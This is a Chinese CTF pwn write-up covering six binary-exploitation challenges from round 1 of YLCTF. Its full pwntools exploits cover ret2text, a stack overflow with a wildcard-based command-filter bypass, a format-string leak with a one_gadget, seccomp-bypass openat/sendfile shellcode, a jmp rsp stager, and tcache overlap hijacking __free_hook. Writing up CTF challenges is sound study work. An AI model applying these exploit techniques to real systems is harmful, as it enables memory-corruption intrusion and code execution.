ROUND1
0x00 giaopwn
ret2text,没什么好讲的。有个cat flag的字符串,直接用。
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * r = remote("challenge.yuanloo.com", 41537) context.log_level = 'debug'
rdi = 0x400743 flag = 0x601048 system = 0x4006D2
payload = b'a'*0x28+p64(rdi)+p64(flag)+p64(system) r.sendline(payload) r.interactive()
|
0x01 ezstack
栈溢出+rce字符过滤。这道题的做法挺多的。过滤了c、f、s、h,且只能写十个字节。Linux万物皆文件,是文件就能用通配符进行模糊匹配。比如flag可以写成*lag。那cat咋办呢,cat命令本身指向/bin/cat这个文件,那么一样可以用/bin/*at来匹配。cat是个命令,所以直接*at是不行的。
还要注意一下栈平衡的问题。另外就是这里只能写十个字节,写完/bin/\*at
就只剩一个位置写*了,所以会把当前目录下所有东西都打印出来,flag也包括在里面,得找一找。
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * r = remote('challenge.yuanloo.com', 48489)
e = ELF('./ezstack') context.log_level = 'debug' ret = 0x40101a vuln = 0x401275 payload = b'a'*0x38+p64(ret)+p64(vuln) r.send(payload) r.recvuntil(b'input your command\n') r.send(b'/bin/?at *')
r.interactive()
|
另外我的学弟Garhin师傅利用$0
直接getshell了,tql。然后想到/bin/ba??
这样的形式应该也是能getshell的,所以这道题解法应该有很多。
0x02 ez_fmt
栈上fmt+栈溢出。泄露libc之后直接溢出到ogg就行了,不用劫持got表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * r = remote("challenge.yuanloo.com", 21821)
e = ELF("./pwn") libc = ELF("./libc-2.31.so")
context.log_level = "debug" context.arch = "amd64"
main = 0x4011DD vuln = 0x40120D ret = 0x40101a
r.recvuntil(b'YLCTF\n') r.send(b'%13$p'.ljust(0x28, b'\x00')+p64(vuln)) libc_base = int(r.recv(14), 16)-libc.sym['__libc_start_main']-243 print(hex(libc_base))
ogg = libc_base+0xe3b01
r.send(b'a'*0x27+b'\x00'+p64(ogg))
r.interactive()
|
0x03 ezorw
沙箱shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
|
禁用了普通的orw,那就用openat+sendfile的方案。零拷贝是真的好用,要是不强制使用read和write,现在基本都用sendfile。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * r = remote("challenge.yuanloo.com", 34957)
context.log_level = "debug" context.arch = "amd64"
sc = ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall
mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''' payload = asm(sc) r.recvuntil(b'orw~') r.send(payload)
r.interactive()
|
0x04 canary_orw
gadget+shellcode。不知道我是不是把题目非预期了,给了个vuln函数是一点没用上。程序一来就直接可以往main的返回地址写东西,允许写最大21个字节。给了个canary形同虚设,NX也没开,所以直接往栈上写shellcode就完事了。
先利用jmp rsp执行一个read函数,因为字节数不够写,所以先不改rdx,还是写21字节,然后把一个可以读取更多字节数的read的shellcode写进去,再把orw的shellcode写进去就行。注意rsp会往下推,每次shellcode前面都要加上一定的padding就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * context.log_level = 'debug' context.arch = 'amd64'
r = remote('challenge.yuanloo.com', 38925)
vuln = 0x400820 jmp_rsp = 0x40081B
payload = p64(jmp_rsp) + \ asm("xor eax, eax; mov rsi,rsp; mov edi,0; syscall") r.recv() r.send(payload) r.send(b'a'*12+asm("xor eax,eax;mov edx,0x100;syscall"))
sc = ''' mov rax, 0x67616c662f2e push rax mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall push 3 pop rdi push 0xFF /* read size */ pop rdx mov rsi, rsp push SYS_read pop rax syscall push 1 pop rdi push 0xFF /* write size */ pop rdx mov rsi, rsp push SYS_write pop rax syscall
''' r.send(b'a'*0x15+asm(sc))
r.interactive()
|
0x05 ezheap
分析
劫持tcache管理堆。最多只能申请32个次,delete没有UAF,也没有堆溢出。但是edit函数非常地奇怪。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 edit_chunk() { _DWORD *buf; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("one chance for you"); if ( a ) exit(1); puts("content :"); read(0, &buf, 8uLL); *buf = 666666; ++a; return __readfsqword(0x28u) ^ v2; }
|
有一次机会可以往任意地址写一个666666(bytes类型)。注意*buf的类型是DWORD,所以实际上是写入0x00A2C2A。重点在于可以利用写进去的00,如果精心构造,可以利用这个00劫持tcache管理堆,造成堆叠。也就是同一个堆地址会进入到两条大小不同的tcachebin当中。
实现
前置脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * r = process("./pwn") libc = ELF('./libc-2.31.so') context.log_level = "debug"
def cmd(c): r.sendlineafter("choice\n", str(c).encode())
def add(size, content=b'a'): cmd(1) r.sendafter(b"Size :\n", str(size).encode()) r.sendafter(b"Content :\n", content)
def delete(idx): cmd(2) r.sendlineafter(b"Index :\n", str(idx).encode())
def edit(addr): cmd(3) r.sendafter(b"content :\n", addr)
def show(idx): cmd(4) r.sendlineafter(b"Index :\n", str(idx).encode())
def Exit(): cmd(5)
|
先泄露地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| add(0x500) add(0xa0) delete(0) add(0xa0) add(0xa0) add(0xa0) show(2) libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1EC061 print(hex(libc_base))
system = libc_base+libc.sym['system'] free_hook = libc_base+libc.sym['__free_hook']
delete(3) delete(4) add(0xa0) show(5) heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x361 print(hex(heap_base))
|
其实这里已经有为了后面的堆风水进行构造了。chunk4的地址是0x*400,最后一个字节刚好是00。为了防止unsortedbin切割都后面堆叠造成影响,我们需要先申请足够多的chunk,使unsortedchunk进入到smallbin中。然后把chunk5再次释放,使其先进入到tcache中,方便后面进行内容修改。
1 2 3 4 5 6
| add(0x100) add(0x100) add(0x100)
delete(5) delete(6)
|
然后最重要的一步来了。现在堆长这样。
红色框是0xb0大小chunk的头,蓝色框是0x110的。如果我在heap_base+0x105的地方开edit,那么00就会被写到蓝色框的低一位字节。这样一来,我一申请0x110,就能申请到0x*400的堆,我申请0xb0也是一样的。那这就达到了堆叠的效果。后面先申请0x110然后修改fd位为free_hook,再申请两个0xb0的堆,就能达到free_hook,修改为ogg或者system即可。
1 2 3 4 5 6
| edit(p64(heap_base+0x105))
add(0x100, p64(free_hook)) add(0xa0, "/bin/sh\x00") add(0xa0, p64(system)) delete(10)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import * r = process("./pwn") libc = ELF('./libc-2.31.so') context.log_level = "debug"
def cmd(c): r.sendlineafter("choice\n", str(c).encode())
def add(size, content=b'a'): cmd(1) r.sendafter(b"Size :\n", str(size).encode()) r.sendafter(b"Content :\n", content)
def delete(idx): cmd(2) r.sendlineafter(b"Index :\n", str(idx).encode())
def edit(addr): cmd(3) r.sendafter(b"content :\n", addr)
def show(idx): cmd(4) r.sendlineafter(b"Index :\n", str(idx).encode())
def Exit(): cmd(5)
add(0x500) add(0xa0) delete(0) add(0xa0) add(0xa0) add(0xa0) show(2) libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x1EC061 print(hex(libc_base))
system = libc_base+libc.sym['system'] free_hook = libc_base+libc.sym['__free_hook']
delete(3) delete(4) add(0xa0) show(5) heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x361 print(hex(heap_base))
add(0x100) add(0x100) add(0x100)
delete(5) delete(6) edit(p64(heap_base+0x105))
add(0x100, p64(free_hook)) add(0xa0, "/bin/sh\x00") add(0xa0, p64(system)) delete(10)
r.interactive()
|
0x06 msg_bot
protobuf+shellcode过滤。另起一篇文章细讲。